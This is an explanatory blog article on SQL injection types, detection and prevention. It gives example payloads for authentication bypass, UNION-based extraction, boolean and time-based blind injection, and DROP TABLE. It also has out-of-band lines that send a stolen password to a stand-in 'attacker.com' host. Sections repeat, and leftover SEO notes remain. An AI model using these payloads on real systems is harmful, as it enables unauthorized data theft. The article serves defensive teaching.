SQL Injection (SQLi): Types, Examples & Prevention

|

Shreya Srivastava

|

Aug 27, 2025

Aug 27, 2025

SQL Injection and its types
SQL Injection and its types
SQL Injection and its types

What Is SQL Injection (SQLi)?

SQL Injection (SQLi) is a method by which hackers trick a website into executing harmful commands on its database.

Normally, when you type something (such as your username) into a login form, the website checks it against its database. If the username and password match, you get in. Simple.

But if the website isn’t properly secured, a hacker can type special code instead of normal text. The website sends this code to the database without checking. The database, thinking it’s just another instruction, runs the hacker’s code.

In short, SQL Injection is like whispering secret instructions to the database through a website’s input box.

Checkout: API Testing in Software Development


A Restaurant Analogy

Think of it like ordering food at a restaurant.

  • Normal customer: “One pizza, please.”

  • Waiter: Writes it down, gives it to the chef.

  • Chef: Makes pizza.

Now imagine a clever thief:

  • Thief: “One pizza AND give me all the money from the cash counter.”

  • Waiter: Doesn’t check, gives note to chef.

  • Chef: Follows blindly → pizza + cash stolen.

That’s exactly how SQL Injection works: the hacker slips in extra instructions, and the database follows them.


SQL Injection (SQLi) is a method by which hackers trick a website into executing harmful commands on its database.

Normally, when you type something (such as your username) into a login form, the website checks it against its database. If the username and password match, you get in. Simple.

But if the website isn’t properly secured, a hacker can type special code instead of normal text. The website sends this code to the database without checking. The database, thinking it’s just another instruction, runs the hacker’s code.

In short, SQL Injection is like whispering secret instructions to the database through a website’s input box.

Checkout: API Testing in Software Development


A Restaurant Analogy

Think of it like ordering food at a restaurant.

  • Normal customer: “One pizza, please.”

  • Waiter: Writes it down, gives it to the chef.

  • Chef: Makes pizza.

Now imagine a clever thief:

  • Thief: “One pizza AND give me all the money from the cash counter.”

  • Waiter: Doesn’t check, gives note to chef.

  • Chef: Follows blindly → pizza + cash stolen.

That’s exactly how SQL Injection works: the hacker slips in extra instructions, and the database follows them.


SQL Injection (SQLi) is a method by which hackers trick a website into executing harmful commands on its database.

Normally, when you type something (such as your username) into a login form, the website checks it against its database. If the username and password match, you get in. Simple.

But if the website isn’t properly secured, a hacker can type special code instead of normal text. The website sends this code to the database without checking. The database, thinking it’s just another instruction, runs the hacker’s code.

In short, SQL Injection is like whispering secret instructions to the database through a website’s input box.

Checkout: API Testing in Software Development


A Restaurant Analogy

Think of it like ordering food at a restaurant.

  • Normal customer: “One pizza, please.”

  • Waiter: Writes it down, gives it to the chef.

  • Chef: Makes pizza.

Now imagine a clever thief:

  • Thief: “One pizza AND give me all the money from the cash counter.”

  • Waiter: Doesn’t check, gives note to chef.

  • Chef: Follows blindly → pizza + cash stolen.

That’s exactly how SQL Injection works: the hacker slips in extra instructions, and the database follows them.


What Are SQL Queries?

To understand SQL Injection, you need to know about SQL queries.

SQL (Structured Query Language) is the language databases speak. Websites use SQL queries to:

  • SELECT → Show me data.

  • INSERT → Add new data.

  • UPDATE → Change existing data.

  • DELETE → Remove data.

example:

SELECT * FROM users WHERE username = 'john' AND password = '12345';

This means: Find a user where the username is “john” and the password is “12345”.

If there’s a match, the login is successful.


How Hackers Trick the System

If a login form isn’t secure, the website might directly insert whatever you type into the SQL query.

For example:

SELECT * FROM users WHERE username = 'USER_INPUT' AND password = 'USER_INPUT';

Now imagine a hacker types this into the username box:

' OR '1'='1

The query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

Since '1'='1' is always true, the database happily logs the hacker in—no password needed!

This is the simplest form of SQL Injection.

To understand SQL Injection, you need to know about SQL queries.

SQL (Structured Query Language) is the language databases speak. Websites use SQL queries to:

  • SELECT → Show me data.

  • INSERT → Add new data.

  • UPDATE → Change existing data.

  • DELETE → Remove data.

example:

SELECT * FROM users WHERE username = 'john' AND password = '12345';

This means: Find a user where the username is “john” and the password is “12345”.

If there’s a match, the login is successful.


How Hackers Trick the System

If a login form isn’t secure, the website might directly insert whatever you type into the SQL query.

For example:

SELECT * FROM users WHERE username = 'USER_INPUT' AND password = 'USER_INPUT';

Now imagine a hacker types this into the username box:

' OR '1'='1

The query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

Since '1'='1' is always true, the database happily logs the hacker in—no password needed!

This is the simplest form of SQL Injection.

To understand SQL Injection, you need to know about SQL queries.

SQL (Structured Query Language) is the language databases speak. Websites use SQL queries to:

  • SELECT → Show me data.

  • INSERT → Add new data.

  • UPDATE → Change existing data.

  • DELETE → Remove data.

example:

SELECT * FROM users WHERE username = 'john' AND password = '12345';

This means: Find a user where the username is “john” and the password is “12345”.

If there’s a match, the login is successful.


How Hackers Trick the System

If a login form isn’t secure, the website might directly insert whatever you type into the SQL query.

For example:

SELECT * FROM users WHERE username = 'USER_INPUT' AND password = 'USER_INPUT';

Now imagine a hacker types this into the username box:

' OR '1'='1

The query becomes:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';

Since '1'='1' is always true, the database happily logs the hacker in—no password needed!

This is the simplest form of SQL Injection.

Why Is SQL Injection Dangerous?

SQL Injection is one of the oldest and most serious web vulnerabilities. Here’s what can happen if a hacker succeeds:

1. Data Theft
Hackers can steal usernames, passwords, emails, credit card details, or even medical records.
2. Data Manipulation
They can change data—for example, update a student’s exam marks or alter bank balances.
3. Data Deletion
Hackers can wipe entire tables, causing websites or apps to crash.
4. System Takeover
Sometimes SQL Injection lets attackers run administrative commands, giving them control over the whole system.
5. Financial and Reputational Damage
Companies face regulatory fines, customer lawsuits, and a massive loss of trust.

Real example: In 2008, Heartland Payment Systems was hacked using SQL Injection. The attackers stole 130 million credit card numbers. The company ended up paying more than $140 million in penalties.


Map to standards: OWASP & CWE

Standards Mapping
• OWASP Top 10 (2021): A03 – Injection (includes SQLi).
• CWE-89: Improper neutralization of special elements in SQL commands.
Use these tags in Jira/tickets to align findings with industry taxonomies.


5-Minute Detection Playbook

  1. Try AND 1=1 vs AND 1=2 in non-prod to observe behavioral diffs.

  2. Add SLEEP(3) to test for time delays.

  3. Look for UNION errors or column count mismatches in logs.

  4. Flag 3–10s latency spikes on endpoints with filters/sort/search.

  5. Verify WAF alerts for UNION/xp_/UTL_HTTP patterns.


Defense-in-Depth Checklist

  • Prepared statements/ORM parameterization enforced in CI.

  • DB role = least privilege; no ad-hoc SELECT * on sensitive tables.

  • Production errors suppressed; structured logs only.

  • Egress from DB servers blocked; DNS/HTTP callbacks monitored.

  • WAF rule pack for UNION/time-delay/xp_* and GraphQL abuse patterns.

  • Canary queries + latency anomaly alerts.

  • Third-party lib/driver patches current.


How to Prevent SQL Injection (With Code)

Use parameterized queries everywhere—no string concatenation.

  • Java (JDBC)

    PreparedStatement ps = conn.prepareStatement(
        "SELECT * FROM accounts WHERE owner_id = ?");
    ps.setInt(1, userId);
    ResultSet rs = ps.executeQuery();
  • Python (psycopg2)

    cur.execute("SELECT * FROM accounts WHERE owner_id = %s", (user_id,))
  • Node.js (pg)

    const res = await client.query(
      "SELECT * FROM accounts WHERE owner_id = $1", [userId]
    );
  • Go (database/sql)

    rows, _ := db.Query("SELECT * FROM accounts WHERE owner_id = $1", userID)

Add: least-privilege DB roles, deny outbound egress from DB servers, standardized error handling, WAF rules for UNION/xp_ patterns, and prepared statements in ORMs.


SQLi in Modern APIs (REST & GraphQL)

SQLi isn’t just web forms—JSON bodies, query params, and GraphQL resolvers are frequent chokepoints. Unsafe resolver code or dynamic filters (e.g., orderBy, where) can smuggle SQL tokens. Enforce parameterization in data access layers, validate allow-listed fields, and normalize errors across API endpoints to avoid side-channels.

Target keywords: API SQL injection, GraphQL SQL injection, REST SQL injection.

Why this helps: Competitors focus on classic web forms; this wins modern API developer intent and long-tail queries around GraphQL/REST SQLi. (Inference drawn from OWASP Injection coverage across JSON/SOAP/XML inputs.)


SQL Injection is one of the oldest and most serious web vulnerabilities. Here’s what can happen if a hacker succeeds:

1. Data Theft
Hackers can steal usernames, passwords, emails, credit card details, or even medical records.
2. Data Manipulation
They can change data—for example, update a student’s exam marks or alter bank balances.
3. Data Deletion
Hackers can wipe entire tables, causing websites or apps to crash.
4. System Takeover
Sometimes SQL Injection lets attackers run administrative commands, giving them control over the whole system.
5. Financial and Reputational Damage
Companies face regulatory fines, customer lawsuits, and a massive loss of trust.

Real example: In 2008, Heartland Payment Systems was hacked using SQL Injection. The attackers stole 130 million credit card numbers. The company ended up paying more than $140 million in penalties.


Map to standards: OWASP & CWE

Standards Mapping
• OWASP Top 10 (2021): A03 – Injection (includes SQLi).
• CWE-89: Improper neutralization of special elements in SQL commands.
Use these tags in Jira/tickets to align findings with industry taxonomies.


5-Minute Detection Playbook

  1. Try AND 1=1 vs AND 1=2 in non-prod to observe behavioral diffs.

  2. Add SLEEP(3) to test for time delays.

  3. Look for UNION errors or column count mismatches in logs.

  4. Flag 3–10s latency spikes on endpoints with filters/sort/search.

  5. Verify WAF alerts for UNION/xp_/UTL_HTTP patterns.


Defense-in-Depth Checklist

  • Prepared statements/ORM parameterization enforced in CI.

  • DB role = least privilege; no ad-hoc SELECT * on sensitive tables.

  • Production errors suppressed; structured logs only.

  • Egress from DB servers blocked; DNS/HTTP callbacks monitored.

  • WAF rule pack for UNION/time-delay/xp_* and GraphQL abuse patterns.

  • Canary queries + latency anomaly alerts.

  • Third-party lib/driver patches current.


How to Prevent SQL Injection (With Code)

Use parameterized queries everywhere—no string concatenation.

  • Java (JDBC)

    PreparedStatement ps = conn.prepareStatement(
        "SELECT * FROM accounts WHERE owner_id = ?");
    ps.setInt(1, userId);
    ResultSet rs = ps.executeQuery();
  • Python (psycopg2)

    cur.execute("SELECT * FROM accounts WHERE owner_id = %s", (user_id,))
  • Node.js (pg)

    const res = await client.query(
      "SELECT * FROM accounts WHERE owner_id = $1", [userId]
    );
  • Go (database/sql)

    rows, _ := db.Query("SELECT * FROM accounts WHERE owner_id = $1", userID)

Add: least-privilege DB roles, deny outbound egress from DB servers, standardized error handling, WAF rules for UNION/xp_ patterns, and prepared statements in ORMs.


SQLi in Modern APIs (REST & GraphQL)

SQLi isn’t just web forms—JSON bodies, query params, and GraphQL resolvers are frequent chokepoints. Unsafe resolver code or dynamic filters (e.g., orderBy, where) can smuggle SQL tokens. Enforce parameterization in data access layers, validate allow-listed fields, and normalize errors across API endpoints to avoid side-channels.

Target keywords: API SQL injection, GraphQL SQL injection, REST SQL injection.

Why this helps: Competitors focus on classic web forms; this wins modern API developer intent and long-tail queries around GraphQL/REST SQLi. (Inference drawn from OWASP Injection coverage across JSON/SOAP/XML inputs.)


SQL Injection is one of the oldest and most serious web vulnerabilities. Here’s what can happen if a hacker succeeds:

1. Data Theft
Hackers can steal usernames, passwords, emails, credit card details, or even medical records.
2. Data Manipulation
They can change data—for example, update a student’s exam marks or alter bank balances.
3. Data Deletion
Hackers can wipe entire tables, causing websites or apps to crash.
4. System Takeover
Sometimes SQL Injection lets attackers run administrative commands, giving them control over the whole system.
5. Financial and Reputational Damage
Companies face regulatory fines, customer lawsuits, and a massive loss of trust.

Real example: In 2008, Heartland Payment Systems was hacked using SQL Injection. The attackers stole 130 million credit card numbers. The company ended up paying more than $140 million in penalties.


Map to standards: OWASP & CWE

Standards Mapping
• OWASP Top 10 (2021): A03 – Injection (includes SQLi).
• CWE-89: Improper neutralization of special elements in SQL commands.
Use these tags in Jira/tickets to align findings with industry taxonomies.


5-Minute Detection Playbook

  1. Try AND 1=1 vs AND 1=2 in non-prod to observe behavioral diffs.

  2. Add SLEEP(3) to test for time delays.

  3. Look for UNION errors or column count mismatches in logs.

  4. Flag 3–10s latency spikes on endpoints with filters/sort/search.

  5. Verify WAF alerts for UNION/xp_/UTL_HTTP patterns.


Defense-in-Depth Checklist

  • Prepared statements/ORM parameterization enforced in CI.

  • DB role = least privilege; no ad-hoc SELECT * on sensitive tables.

  • Production errors suppressed; structured logs only.

  • Egress from DB servers blocked; DNS/HTTP callbacks monitored.

  • WAF rule pack for UNION/time-delay/xp_* and GraphQL abuse patterns.

  • Canary queries + latency anomaly alerts.

  • Third-party lib/driver patches current.


How to Prevent SQL Injection (With Code)

Use parameterized queries everywhere—no string concatenation.

  • Java (JDBC)

    PreparedStatement ps = conn.prepareStatement(
        "SELECT * FROM accounts WHERE owner_id = ?");
    ps.setInt(1, userId);
    ResultSet rs = ps.executeQuery();
  • Python (psycopg2)

    cur.execute("SELECT * FROM accounts WHERE owner_id = %s", (user_id,))
  • Node.js (pg)

    const res = await client.query(
      "SELECT * FROM accounts WHERE owner_id = $1", [userId]
    );
  • Go (database/sql)

    rows, _ := db.Query("SELECT * FROM accounts WHERE owner_id = $1", userID)

Add: least-privilege DB roles, deny outbound egress from DB servers, standardized error handling, WAF rules for UNION/xp_ patterns, and prepared statements in ORMs.


SQLi in Modern APIs (REST & GraphQL)

SQLi isn’t just web forms—JSON bodies, query params, and GraphQL resolvers are frequent chokepoints. Unsafe resolver code or dynamic filters (e.g., orderBy, where) can smuggle SQL tokens. Enforce parameterization in data access layers, validate allow-listed fields, and normalize errors across API endpoints to avoid side-channels.

Target keywords: API SQL injection, GraphQL SQL injection, REST SQL injection.

Why this helps: Competitors focus on classic web forms; this wins modern API developer intent and long-tail queries around GraphQL/REST SQLi. (Inference drawn from OWASP Injection coverage across JSON/SOAP/XML inputs.)


Types of SQL Injection


Types of SQL Injections

Understanding the various types of SQL injection attacks is crucial for developers and security professionals. Each method exploits vulnerabilities in different ways, and understanding these techniques can help identify and prevent potential threats.

  1. Classic (In-band) SQL Injection

Classic SQL injection is one of the simplest and most direct forms of attack. Here, attackers receive immediate feedback through the same communication channel, such as the web page or error messages, confirming whether their injection worked.

For example, an attacker might input ' OR 1=1-- into a vulnerable field. This could expose sensitive data because the SQL query is manipulated to always return true. The instant feedback allows attackers to refine their methods quickly, often using automated tools to test multiple injection points across a website.

This approach is often the first attempt because it’s straightforward and provides clear confirmation of success, making it a favored method for attackers.

  1. Blind SQL Injection

Blind SQL injection is a bit trickier since it doesn’t provide direct feedback like error messages or visible data. Instead, attackers infer success by analyzing how the application behaves.

  • Boolean-based blind injection involves sending true/false queries. For example, an attacker might input ' AND 1=1-- (true) and compare the response to ' AND 1=2-- (false). Differences in the page's behavior reveal whether the injection was successful.

  • Time-based blind injection relies on causing deliberate delays. For instance, injecting '; WAITFOR DELAY '00:00:05'-- would make the database pause for five seconds. If the page takes longer to load, it confirms the vulnerability.

Although slower to execute, blind injections are harder to detect as they avoid triggering obvious error messages.

Types of Blind SQL Injection
Error-Based SQLi (In-Band)

Attackers force verbose DB errors (stack traces, schema names) to leak structure. A single malformed input can reveal table/column names that accelerate exploitation.
Example payload: id=10' → DB error with table/column hints.
Mitigation: disable error echoes in prod; centralized logging only; parameterized queries.


UNION-Based SQLi (In-Band)

Abuses the UNION operator to append attacker-controlled SELECTs into the same response.
Example payload: ?id=10 UNION ALL SELECT username,password FROM users--
Mitigation: parameterization, strict column counts, least-privilege DB roles.


Boolean-Based Blind SQLi (Inferential)

Responses flip content (or HTTP status) based on TRUE/FALSE conditions—no errors or data returned.
Example payload: ?id=1 AND 1=1 vs. ?id=1 AND 1=2
Mitigation: parameterization; uniform responses to invalid queries; rate-limits.


Time-Based Blind SQLi (Inferential)

Forces DB delays (e.g., SLEEP(5)) to infer TRUE/FALSE via response time.
Example payload: ?id=1 AND IF(1=1,SLEEP(5),0)
Mitigation: parameterization; request timeouts; anomaly detection on latency spikes.


Type

What you’ll notice

Example payload

First fix

Error-based

Verbose DB errors with table/column names

id=1'

Suppress errors, log centrally

UNION-based

Extra rows/columns in responses

UNION SELECT user,pass FROM users--

Parameterized queries

Boolean-based blind

Different content or status for TRUE/FALSE

AND 1=1 vs AND 1=2

Consistent error handling

Time-based blind

3–10s response delays on crafted input

AND SLEEP(5)

Timeouts & anomaly alerts

Out-of-band

DNS/HTTP callbacks from DB server

xp_dirtree '\\\\attacker\\share'

Egress blocks, DB hardening


  1. Union-based SQL Injection

Union-based attacks take advantage of the SQL UNION operator, which combines results from multiple SELECT statements. This method allows attackers to retrieve data from other tables within the database by merging it into the original query's results.

To execute this, attackers first determine the number of columns in the original query by injecting statements like ' ORDER BY 1--, ' ORDER BY 2--, and so on until they encounter an error. Once they know the structure, they can inject something like ' UNION SELECT username, password FROM admin_users--. This merges sensitive data from another table into the query’s output, often displaying it on the web page.

Union-based attacks are particularly effective for mapping database structures and extracting significant amounts of data.

  1. Error-based SQL Injection

Error-based injection exploits detailed error messages generated by the database when a query fails. These messages can inadvertently reveal critical information about the database structure.

For instance, an attacker might inject ' AND (SELECT COUNT(*) FROM information_schema.tables)>0-- code to force the database to produce an error. The error message might expose table names, column details, or data types. Some attackers also use functions like EXTRACTVALUE() or UPDATEXML() in MySQL to manipulate error messages and extract data.

This method is most effective when the application displays detailed database errors to users instead of masking them with generic error pages.

  1. Out-of-band SQL Injection

Out-of-band attacks rely on alternative communication channels to extract data, such as DNS lookups or HTTP requests to external servers. These methods are useful when the application doesn’t display query results or error messages, and time-based techniques are too slow.

For example, an attacker might inject code like SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE id=1), '.attacker.com\\test.txt')) in MySQL. This causes the database to make a DNS request to an external server controlled by the attacker. By monitoring their server logs, the attacker can collect pieces of the stolen data.

Out-of-band attacks are more complex because they require external infrastructure, like DNS or web servers, to receive the stolen information. However, this complexity also makes them harder to detect since the data extraction occurs outside the normal application flow, often bypassing traditional network monitoring tools.

Real-World Examples of SQL Injection

SQL Injection isn’t just theory—it has caused some of the biggest cyberattacks in history.

  1. Sony Pictures (2011)

    • Hackers used SQLi to steal millions of user accounts.

    • Data included emails, passwords, and even unreleased movies.

  2. British Airways (2018)

    • Attackers used a similar injection-style vulnerability to steal customer payment data.

    • The company was fined £183 million under GDPR.

  3. Little Bobby Tables Joke

    • A famous cartoon shows a mom getting a call from school:
      “Hi, your son dropped our database.”

    • The son’s name? Robert'); DROP TABLE Students;--

    • This is a funny example of how SQL Injection works in real life.


Types of SQL Injections

Understanding the various types of SQL injection attacks is crucial for developers and security professionals. Each method exploits vulnerabilities in different ways, and understanding these techniques can help identify and prevent potential threats.

  1. Classic (In-band) SQL Injection

Classic SQL injection is one of the simplest and most direct forms of attack. Here, attackers receive immediate feedback through the same communication channel, such as the web page or error messages, confirming whether their injection worked.

For example, an attacker might input ' OR 1=1-- into a vulnerable field. This could expose sensitive data because the SQL query is manipulated to always return true. The instant feedback allows attackers to refine their methods quickly, often using automated tools to test multiple injection points across a website.

This approach is often the first attempt because it’s straightforward and provides clear confirmation of success, making it a favored method for attackers.

  1. Blind SQL Injection

Blind SQL injection is a bit trickier since it doesn’t provide direct feedback like error messages or visible data. Instead, attackers infer success by analyzing how the application behaves.

  • Boolean-based blind injection involves sending true/false queries. For example, an attacker might input ' AND 1=1-- (true) and compare the response to ' AND 1=2-- (false). Differences in the page's behavior reveal whether the injection was successful.

  • Time-based blind injection relies on causing deliberate delays. For instance, injecting '; WAITFOR DELAY '00:00:05'-- would make the database pause for five seconds. If the page takes longer to load, it confirms the vulnerability.

Although slower to execute, blind injections are harder to detect as they avoid triggering obvious error messages.

Types of Blind SQL Injection
Error-Based SQLi (In-Band)

Attackers force verbose DB errors (stack traces, schema names) to leak structure. A single malformed input can reveal table/column names that accelerate exploitation.
Example payload: id=10' → DB error with table/column hints.
Mitigation: disable error echoes in prod; centralized logging only; parameterized queries.


UNION-Based SQLi (In-Band)

Abuses the UNION operator to append attacker-controlled SELECTs into the same response.
Example payload: ?id=10 UNION ALL SELECT username,password FROM users--
Mitigation: parameterization, strict column counts, least-privilege DB roles.


Boolean-Based Blind SQLi (Inferential)

Responses flip content (or HTTP status) based on TRUE/FALSE conditions—no errors or data returned.
Example payload: ?id=1 AND 1=1 vs. ?id=1 AND 1=2
Mitigation: parameterization; uniform responses to invalid queries; rate-limits.


Time-Based Blind SQLi (Inferential)

Forces DB delays (e.g., SLEEP(5)) to infer TRUE/FALSE via response time.
Example payload: ?id=1 AND IF(1=1,SLEEP(5),0)
Mitigation: parameterization; request timeouts; anomaly detection on latency spikes.


Type

What you’ll notice

Example payload

First fix

Error-based

Verbose DB errors with table/column names

id=1'

Suppress errors, log centrally

UNION-based

Extra rows/columns in responses

UNION SELECT user,pass FROM users--

Parameterized queries

Boolean-based blind

Different content or status for TRUE/FALSE

AND 1=1 vs AND 1=2

Consistent error handling

Time-based blind

3–10s response delays on crafted input

AND SLEEP(5)

Timeouts & anomaly alerts

Out-of-band

DNS/HTTP callbacks from DB server

xp_dirtree '\\\\attacker\\share'

Egress blocks, DB hardening


  1. Union-based SQL Injection

Union-based attacks take advantage of the SQL UNION operator, which combines results from multiple SELECT statements. This method allows attackers to retrieve data from other tables within the database by merging it into the original query's results.

To execute this, attackers first determine the number of columns in the original query by injecting statements like ' ORDER BY 1--, ' ORDER BY 2--, and so on until they encounter an error. Once they know the structure, they can inject something like ' UNION SELECT username, password FROM admin_users--. This merges sensitive data from another table into the query’s output, often displaying it on the web page.

Union-based attacks are particularly effective for mapping database structures and extracting significant amounts of data.

  1. Error-based SQL Injection

Error-based injection exploits detailed error messages generated by the database when a query fails. These messages can inadvertently reveal critical information about the database structure.

For instance, an attacker might inject ' AND (SELECT COUNT(*) FROM information_schema.tables)>0-- code to force the database to produce an error. The error message might expose table names, column details, or data types. Some attackers also use functions like EXTRACTVALUE() or UPDATEXML() in MySQL to manipulate error messages and extract data.

This method is most effective when the application displays detailed database errors to users instead of masking them with generic error pages.

  1. Out-of-band SQL Injection

Out-of-band attacks rely on alternative communication channels to extract data, such as DNS lookups or HTTP requests to external servers. These methods are useful when the application doesn’t display query results or error messages, and time-based techniques are too slow.

For example, an attacker might inject code like SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE id=1), '.attacker.com\\test.txt')) in MySQL. This causes the database to make a DNS request to an external server controlled by the attacker. By monitoring their server logs, the attacker can collect pieces of the stolen data.

Out-of-band attacks are more complex because they require external infrastructure, like DNS or web servers, to receive the stolen information. However, this complexity also makes them harder to detect since the data extraction occurs outside the normal application flow, often bypassing traditional network monitoring tools.

Real-World Examples of SQL Injection

SQL Injection isn’t just theory—it has caused some of the biggest cyberattacks in history.

  1. Sony Pictures (2011)

    • Hackers used SQLi to steal millions of user accounts.

    • Data included emails, passwords, and even unreleased movies.

  2. British Airways (2018)

    • Attackers used a similar injection-style vulnerability to steal customer payment data.

    • The company was fined £183 million under GDPR.

  3. Little Bobby Tables Joke

    • A famous cartoon shows a mom getting a call from school:
      “Hi, your son dropped our database.”

    • The son’s name? Robert'); DROP TABLE Students;--

    • This is a funny example of how SQL Injection works in real life.


Types of SQL Injections

Understanding the various types of SQL injection attacks is crucial for developers and security professionals. Each method exploits vulnerabilities in different ways, and understanding these techniques can help identify and prevent potential threats.

  1. Classic (In-band) SQL Injection

Classic SQL injection is one of the simplest and most direct forms of attack. Here, attackers receive immediate feedback through the same communication channel, such as the web page or error messages, confirming whether their injection worked.

For example, an attacker might input ' OR 1=1-- into a vulnerable field. This could expose sensitive data because the SQL query is manipulated to always return true. The instant feedback allows attackers to refine their methods quickly, often using automated tools to test multiple injection points across a website.

This approach is often the first attempt because it’s straightforward and provides clear confirmation of success, making it a favored method for attackers.

  1. Blind SQL Injection

Blind SQL injection is a bit trickier since it doesn’t provide direct feedback like error messages or visible data. Instead, attackers infer success by analyzing how the application behaves.

  • Boolean-based blind injection involves sending true/false queries. For example, an attacker might input ' AND 1=1-- (true) and compare the response to ' AND 1=2-- (false). Differences in the page's behavior reveal whether the injection was successful.

  • Time-based blind injection relies on causing deliberate delays. For instance, injecting '; WAITFOR DELAY '00:00:05'-- would make the database pause for five seconds. If the page takes longer to load, it confirms the vulnerability.

Although slower to execute, blind injections are harder to detect as they avoid triggering obvious error messages.

Types of Blind SQL Injection
Error-Based SQLi (In-Band)

Attackers force verbose DB errors (stack traces, schema names) to leak structure. A single malformed input can reveal table/column names that accelerate exploitation.
Example payload: id=10' → DB error with table/column hints.
Mitigation: disable error echoes in prod; centralized logging only; parameterized queries.


UNION-Based SQLi (In-Band)

Abuses the UNION operator to append attacker-controlled SELECTs into the same response.
Example payload: ?id=10 UNION ALL SELECT username,password FROM users--
Mitigation: parameterization, strict column counts, least-privilege DB roles.


Boolean-Based Blind SQLi (Inferential)

Responses flip content (or HTTP status) based on TRUE/FALSE conditions—no errors or data returned.
Example payload: ?id=1 AND 1=1 vs. ?id=1 AND 1=2
Mitigation: parameterization; uniform responses to invalid queries; rate-limits.


Time-Based Blind SQLi (Inferential)

Forces DB delays (e.g., SLEEP(5)) to infer TRUE/FALSE via response time.
Example payload: ?id=1 AND IF(1=1,SLEEP(5),0)
Mitigation: parameterization; request timeouts; anomaly detection on latency spikes.


Type

What you’ll notice

Example payload

First fix

Error-based

Verbose DB errors with table/column names

id=1'

Suppress errors, log centrally

UNION-based

Extra rows/columns in responses

UNION SELECT user,pass FROM users--

Parameterized queries

Boolean-based blind

Different content or status for TRUE/FALSE

AND 1=1 vs AND 1=2

Consistent error handling

Time-based blind

3–10s response delays on crafted input

AND SLEEP(5)

Timeouts & anomaly alerts

Out-of-band

DNS/HTTP callbacks from DB server

xp_dirtree '\\\\attacker\\share'

Egress blocks, DB hardening


  1. Union-based SQL Injection

Union-based attacks take advantage of the SQL UNION operator, which combines results from multiple SELECT statements. This method allows attackers to retrieve data from other tables within the database by merging it into the original query's results.

To execute this, attackers first determine the number of columns in the original query by injecting statements like ' ORDER BY 1--, ' ORDER BY 2--, and so on until they encounter an error. Once they know the structure, they can inject something like ' UNION SELECT username, password FROM admin_users--. This merges sensitive data from another table into the query’s output, often displaying it on the web page.

Union-based attacks are particularly effective for mapping database structures and extracting significant amounts of data.

  1. Error-based SQL Injection

Error-based injection exploits detailed error messages generated by the database when a query fails. These messages can inadvertently reveal critical information about the database structure.

For instance, an attacker might inject ' AND (SELECT COUNT(*) FROM information_schema.tables)>0-- code to force the database to produce an error. The error message might expose table names, column details, or data types. Some attackers also use functions like EXTRACTVALUE() or UPDATEXML() in MySQL to manipulate error messages and extract data.

This method is most effective when the application displays detailed database errors to users instead of masking them with generic error pages.

  1. Out-of-band SQL Injection

Out-of-band attacks rely on alternative communication channels to extract data, such as DNS lookups or HTTP requests to external servers. These methods are useful when the application doesn’t display query results or error messages, and time-based techniques are too slow.

For example, an attacker might inject code like SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE id=1), '.attacker.com\\test.txt')) in MySQL. This causes the database to make a DNS request to an external server controlled by the attacker. By monitoring their server logs, the attacker can collect pieces of the stolen data.

Out-of-band attacks are more complex because they require external infrastructure, like DNS or web servers, to receive the stolen information. However, this complexity also makes them harder to detect since the data extraction occurs outside the normal application flow, often bypassing traditional network monitoring tools.

Real-World Examples of SQL Injection

SQL Injection isn’t just theory—it has caused some of the biggest cyberattacks in history.

  1. Sony Pictures (2011)

    • Hackers used SQLi to steal millions of user accounts.

    • Data included emails, passwords, and even unreleased movies.

  2. British Airways (2018)

    • Attackers used a similar injection-style vulnerability to steal customer payment data.

    • The company was fined £183 million under GDPR.

  3. Little Bobby Tables Joke

    • A famous cartoon shows a mom getting a call from school:
      “Hi, your son dropped our database.”

    • The son’s name? Robert'); DROP TABLE Students;--

    • This is a funny example of how SQL Injection works in real life.

Security Risks and Consequences

SQL injection attacks can compromise sensitive data, disrupt business operations, and damage an organization's reputation. These attacks pose a direct threat to the core principles of information security and come with significant, measurable consequences.

Impact on Confidentiality, Integrity, and Availability

SQL injection attacks undermine the three key pillars of information security:

  • Confidentiality: Sensitive data - such as customer information, financial records, or proprietary details - can be exposed, putting both individuals and businesses at risk.

  • Integrity: Attackers gain the ability to manipulate, delete, or corrupt critical database records, leading to unreliable or altered data.

  • Availability: By overloading databases or running resource-heavy queries, attackers can cause system downtime, delete tables, or even corrupt the database structure.

Different SQL injection techniques impact these pillars:

Attack Type

Confidentiality Impact

Integrity Impact

Availability Impact

Classic SQL Injection

Bypasses login controls to expose sensitive data

Grants full read/write access

Can delete or corrupt essential system data

Union-based Injection

Extracts sensitive information systematically

Limited to data viewing

Minimal direct impact on system uptime

Error-based Injection

Exposes data through error messages

Typically allows initial read-only access

May cause instability through repetitive errors

Blind Injection

Extracts data slowly but comprehensively

Potential for data manipulation

Resource-intensive queries can slow performance

A single SQL injection attack can target all three security aspects simultaneously, creating a multi-faceted challenge for organizations. The technical damage is often compounded by financial and regulatory consequences.

Financial and Compliance Risks

The fallout from SQL injection attacks extends beyond technical damage, with financial and compliance risks adding to the burden:

  • Direct Costs: Organizations face expenses for incident response, forensic analysis, system recovery, and notifying affected customers.

  • Regulatory Penalties: Industries under strict regulation, such as healthcare and finance, may face heavy fines and increased scrutiny after a breach. Compliance with data breach notification laws often requires immediate and costly action.

  • Business Disruption: System downtime can cause significant revenue loss, reduced productivity, and strained customer relationships - especially during critical business periods like holidays or sales events.

  • Reputation and Legal Liability: A breach can tarnish an organization's reputation, leading to higher customer acquisition costs and lost business opportunities. Legal challenges, including lawsuits and settlements, can further strain resources.

The combined impact of these risks highlights the need for robust defenses against SQL injection attacks. A single breach can ripple through an organization, affecting its finances, operations, and customer trust.

SQL injection attacks can compromise sensitive data, disrupt business operations, and damage an organization's reputation. These attacks pose a direct threat to the core principles of information security and come with significant, measurable consequences.

Impact on Confidentiality, Integrity, and Availability

SQL injection attacks undermine the three key pillars of information security:

  • Confidentiality: Sensitive data - such as customer information, financial records, or proprietary details - can be exposed, putting both individuals and businesses at risk.

  • Integrity: Attackers gain the ability to manipulate, delete, or corrupt critical database records, leading to unreliable or altered data.

  • Availability: By overloading databases or running resource-heavy queries, attackers can cause system downtime, delete tables, or even corrupt the database structure.

Different SQL injection techniques impact these pillars:

Attack Type

Confidentiality Impact

Integrity Impact

Availability Impact

Classic SQL Injection

Bypasses login controls to expose sensitive data

Grants full read/write access

Can delete or corrupt essential system data

Union-based Injection

Extracts sensitive information systematically

Limited to data viewing

Minimal direct impact on system uptime

